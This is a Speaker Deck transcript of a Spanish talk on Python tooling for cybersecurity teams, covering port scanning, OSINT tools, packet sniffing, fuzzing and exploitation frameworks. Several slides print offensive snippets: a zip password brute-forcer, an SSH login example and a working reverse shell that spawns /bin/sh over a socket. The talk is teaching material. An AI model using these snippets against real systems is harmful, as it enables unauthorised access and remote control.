Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Python para equipos de ciberseguridad

jmortegac
August 28, 2021

Python para equipos de ciberseguridad

Python se ha convertido en el lenguaje más usado para desarrollar herramientas dentro del ámbito de la seguridad. Esta charla se centrará en las diferentes formas en que un analista puede aprovechar el lenguaje de programación Python tanto desde el punto de vista defensivo como ofensivo.

Desde el punto de vista defensivo Python es una de las mejores opciones como herramienta de pentesting por la gran cantidad de módulos que nos pueden ayudar a desarrollar nuestras propias herramientas con el objetivo de realizar un análisis de nuestro objetivo.

Desde el punto de vista ofensivo podemos utilizar Python para recolección de información de nuestro objetivo de forma pasiva y activa. El objetivo final es obtener el máximo conocimiento posible en el contexto que estamos auditando. Entre los principales puntos a tratar podemos destacar:

1.Introducción a Python para proyectos de ciberseguridad(5 min)
2.Herramientas de pentesting(10 min)
3.Herramientas Python desde el punto de vista defensivo(10 min)
4.Herramientas Python desde el punto de vista ofensivo(10 min)

jmortegac

August 28, 2021
Tweet

More Decks by jmortegac

Other Decks in Technology

Transcript

  1. www.sti-innsbruck.at
    Python para equipos de
    ciberseguridad
    @jmortegac

    View Slide

  2. About me
    2
    http://jmortega.github.io/

    View Slide

  3. About me
    3
    https://www.youtube.com/c/JoseManuelOrtegadev/

    View Slide

  4. Books
    4
    ● Introducción al desarrollo seguro
    ● Aspectos fundamentales de desarrollo seguro
    ● Herramientas OWASP
    ● Seguridad en aplicaciones Android
    ● Seguridad en proyectos NodeJS
    ● Seguridad en proyectos Python
    ● Análisis estático y dinámico en aplicaciones C/C++
    ● Metodologías de desarrollo

    View Slide

  5. Books
    5

    View Slide

  6. Formación
    6
    https://www.adrformacion.com/cursos/pythonseg/pythonseg.html

    View Slide

  7. Agenda
    • Introducción a Python para proyectos de
    ciberseguridad
    • Herramientas de pentesting
    • Herramientas Python desde el punto de vista
    defensivo
    • Herramientas Python desde el punto de vista
    ofensivo
    7

    View Slide

  8. Python para proyectos de ciberseguridad
    8
    1. Diseñado para la creación rápida de prototipos
    2. Estructura simple y limpia, mejora la legibilidad y facilidad de
    uso.
    3. Amplia biblioteca, también facilidad de interconexión
    4. Ampliamente adoptado, la mayoría de las distribuciones de
    Linux lo instalan por defecto.

    View Slide

  9. Python para proyectos de ciberseguridad
    9

    View Slide

  10. Herramientas de pentesting
    10
    import boto3
    aws_access_key_id = ''
    aws_secret_access_key = ''
    region_name = 'ap-southeast-2'
    session =
    boto3.session.Session(aws_access_key_id=aws_access_key_id,
    aws_secret_access_key=aws_secret_access_key,
    region_name=region_name)
    ec2client = session.client('ec2')
    client_instance = ec2client.run_instances(
    ImageId='ami-30041c53',
    KeyName='Keys',
    MinCount=1,
    MaxCount=1,
    InstanceType='t2.micro')
    https://aws.amazon.com/es/sdk-for-python/

    View Slide

  11. Herramientas de pentesting
    11

    View Slide

  12. Herramientas de pentesting
    12
    import re
    input_ip = input('Enter the ip:')
    flag = 0
    pattern = "^\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$"
    match = re.match(pattern, input_ip)
    if (match):
    field = input_ip.split(".")
    for i in range(0, len(field)):
    if (int(field[i]) < 256):
    flag += 1
    else:
    flag = 0
    if (flag == 4):
    print("valid ip")
    else:
    print('No match for ip or not a valid ip')
    https://docs.python.org/3/library/re.html

    View Slide

  13. Herramientas de pentesting
    13

    View Slide

  14. Herramientas de pentesting
    14
    import nmap
    nma = nmap.PortScannerAsync()
    def callback_function(host, scan_result):
    print('RESULTADO ==>')
    print(host, scan_result)
    nma.scan(hosts='127.0.0.1', arguments='-sC -Pn', callback=callback_function)
    while nma.still_scanning():
    print("Esperando a que termine el escaneo ...")
    nma.wait(2)
    https://pypi.org/project/python-nmap/

    View Slide

  15. Basic Networking
    15

    View Slide

  16. Port Scanning
    16

    View Slide

  17. Port Scanning
    17

    View Slide

  18. Port Scanning
    18
    import socket
    from concurrent import futures
    def check_port(targetIp, portNumber, timeout):
    TCPsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    TCPsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    TCPsock.settimeout(timeout)
    try:
    TCPsock.connect((targetIp, portNumber))
    return (portNumber)
    except:
    return
    def port_scanner(targetIp, timeout):
    threadPoolSize = 500
    portsToCheck = 10000
    executor = futures.ThreadPoolExecutor(max_workers=threadPoolSize)
    checks = [
    executor.submit(check_port, targetIp, port, timeout)
    for port in range(0, portsToCheck, 1)
    ]
    for response in futures.as_completed(checks):
    if (response.result()):
    print('Listening on port: {}'.format(response.result()))

    View Slide

  19. Port Scanning
    19

    View Slide

  20. Banner Grabing
    20

    View Slide

  21. Scraping
    21
    ● Requests
    ○ https://docs.python-requests.org/en/master
    ○ Peticiones HTTP
    ● BeautifulSoup
    ○ https://www.crummy.com/software/BeautifulSou
    p/bs4/doc
    ○ Parser XML,HTML
    ● Scrapy
    ○ https://scrapy.org
    ○ Framework de scraping

    View Slide

  22. Scraping
    22
    #!/bin/python
    from bs4 import BeautifulSoup
    import requests
    url = input("Enter a website to extract the URL's from:
    ")
    response = requests.get("http://" +url)
    data = response.text
    soup = BeautifulSoup(data)
    for link in soup.find_all('a'):
    print(link.get('href'))

    View Slide

  23. Scrapy
    23

    View Slide

  24. Extracción de subdominios
    24
    ● https://github.com/1N3/BlackWidow

    View Slide

  25. OSINT
    25
    ● Recon-ng
    ○ https://github.com/lanmaster53/recon-ng
    ○ Framework para realizar reconocimientos
    basados en web.
    ● Belati
    ○ https://github.com/aancw/Belati
    ○ Recopilación de datos y documentos públicos y
    del sitio web y otros servicios.
    ● Pwndb
    ○ https://github.com/davidtavarez/pwndb
    ○ Buscar credenciales filtradas

    View Slide

  26. wig - WebApp Information Gatherer
    26

    View Slide

  27. wig - WebApp Information Gatherer
    27

    View Slide

  28. Belati
    28

    View Slide

  29. Belati
    29

    View Slide

  30. Reconspider
    30
    ● https://github.com/bhavsec/reconspider

    View Slide

  31. Reconspider
    31

    View Slide

  32. SpiderFoot
    32

    View Slide

  33. RED TEAM vs BLUE TEAM
    33

    View Slide

  34. SQLMap
    34
    ● https://sqlmap.org

    View Slide

  35. SQLMap
    35

    View Slide

  36. PwnXSS
    36

    View Slide

  37. Fuzzing
    37
    ● Wfuzz
    ○ https://github.com/xmendez/wfuzz/
    ○ Web fuzzer framework
    ● Pyfuzz
    ○ https://github.com/AyoobAli/pyfuzz
    ○ Fuzzing para descubrir archivos /
    directorios ocultos

    View Slide

  38. Fuxi Scanner
    38
    ● https://github.com/jeffzh3ng/fuxi

    View Slide

  39. Fuxi Scanner
    39

    View Slide

  40. Sniffing de paquetes
    40
    import socket
    import struct
    def ethernet_frame(data):
    dest_mac, src_mac, proto = struct.unpack('! 6s 6s H', data[:14])
    return format_mac_addr(dest_mac), format_mac_addr(src_mac), socket.htons(proto), data[14:]
    def format_mac_addr(bytes_addr):
    bytes_str = map('{:02x}'.format, bytes_addr)
    return ':'.join(bytes_str).upper()
    def main():
    conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
    while True:
    raw_data, addr = conn.recvfrom(65535)
    dest_mac, src_mac, eth_proto, data = ethernet_frame(raw_data)
    if eth_proto == 8:
    print('\nEthernet Frame:')
    print('Destination: {}, Source: {}, Protocol: {}'.format(dest_mac, src_mac, eth_proto))
    print(data)
    if __name__ == "__main__":
    main()

    View Slide

  41. Manipulación de paquetes
    41
    ● Scapy
    ○ https://scapy.net
    ○ Manipulación y decodificación de paquetes.
    ○ Enviar, rastrear, diseccionar y falsificar paquetes
    de red.

    View Slide

  42. Manipulación de paquetes
    42
    from scapy.all import *
    packetCount = 0
    def customAction(packet):
    global packetCount
    packetCount += 1
    return "{}) {} → {}".format(packetCount,
    packet[0][1].src, packet[0][1].dst)
    ## Setup sniff, filtering for IP traffic
    sniff(filter="ip",prn=customAction)

    View Slide

  43. Manipulación de paquetes
    43
    from scapy.all import ICMP
    from scapy.all import IP
    from scapy.all import sr1
    from scapy.all import ls
    if __name__ == "__main__":
    dest_ip = "www.google.com"
    ip_layer = IP(dst = dest_ip)
    print(ls(ip_layer)) # displaying complete layer info
    # accessing the fields
    print("Destination = ", ip_layer.dst)
    print("Summary = ",ip_layer.summary())

    View Slide

  44. Sniffing de paquetes
    44
    from scapy.all import *
    def main():
    sniff(prn=http_header, filter="tcp port 80")
    def http_header(packet):
    http_packet=str(packet)
    if http_packet.find('GET'):
    return print_packet(packet)
    def print_packet(packet1):
    ret = "-------------------------------[ Received Packet ] -------------------------------\n"
    ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
    ret += "---------------------------------------------------------------------------------\n"
    return ret
    if __name__ == '__main__':
    main()

    View Slide

  45. Explotación
    45
    ● Pacu
    ○ https://github.com/RhinoSecurityLabs/pacu
    ○ Framework de explotación de AWS
    ● AWS Pwn
    ○ https://github.com/dagrz/aws_pwn
    ○ Colección de scripts de pruebas de penetración
    de AWS

    View Slide

  46. Explotación
    46
    ● CrackMapExec
    ○ https://github.com/byt3bl33d3r/CrackMapExec
    ○ Mapeo de la red, obtiene credenciales y ejecuta
    comandos.
    ● DeathStar
    ○ https://github.com/byt3bl33d3r/DeathStar
    ■ Permite automatizar la escalada de privilegios
    en un entorno Active Directory.

    View Slide

  47. Password cracking
    47
    import zipfile
    import time
    encrypted_filename= "secret_file.zip"
    zFile = zipfile.ZipFile(encrypted_filename, "r")
    passFile = open("passwords.txt", "r")
    for line in passFile.readlines():
    test_password = line.strip("\n").encode('utf-8')
    try:
    print(test_password)
    zFile.extractall(pwd=test_password)
    print("Match found")
    break
    except Exception as err:
    pass

    View Slide

  48. SSH brute force
    48
    import paramiko
    ssh = paramiko.SSHClient()
    ssh.load_system_host_keys()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(‘127.0.0.1', username=‘user',
    password=‘password')
    stdin,stdout,stderr = ssh.exec_command("uname -a")

    View Slide

  49. SSH brute force
    49

    View Slide

  50. Ejecución de procesos
    50
    https://docs.python.org/3/library/subprocess.html
    import subprocess
    subprocess.run('ls -la', shell=True)
    subprocess.run(['ls', '-la'])

    View Slide

  51. Ejecución de procesos
    51
    https://docs.python.org/3/library/subprocess.html
    import subprocess
    process = subprocess.run(['which', 'python3'], capture_output=True)
    if process.returncode != 0:
    raise OSError('Sorry python3 is not installed')
    python_bin = process.stdout.strip()
    print(f'Python found in: {python_bin}')
    CompletedProcess(args=['which', 'python3'], returncode=0,
    stdout=b'/usr/bin/python3\n', stderr=b'')

    View Slide

  52. Ejecución de procesos
    52
    https://docs.python.org/3/library/subprocess.html
    from pathlib import Path
    import subprocess
    source = Path("/home/linux")
    cmd = ["ls", "-l", source]
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE)
    stdout, stderr = proc.communicate()
    print(stdout.decode("utf-8").split('\n')[:-1])

    View Slide

  53. Shell inversa
    53

    View Slide

  54. Shell inversa
    54
    #!/usr/bin/python
    import socket
    import subprocess
    import os
    sock = socket.socket(socket.AF_INET,
    socket.SOCK_STREAM)
    sock.connect(("127.0.0.1", 45679))
    os.dup2(sock.fileno(),0)
    os.dup2(sock.fileno(),1)
    os.dup2(sock.fileno(),2)
    shell_remote = subprocess.call(["/bin/sh", "-i"])
    #proc = subprocess.call(["/bin/ls", "-i"])

    View Slide

  55. Books
    55

    View Slide

  56. Books
    56
    https://github.com/PacktPublis
    hing/Python-Ethical-Hacking
    https://github.com/PacktPub
    lishing/Python-for-Offensive
    -PenTest

    View Slide

  57. GitHub repository
    57
    https://github.com/jmortega/python_ciberseguridad_2021

    View Slide

  58. 58

    View Slide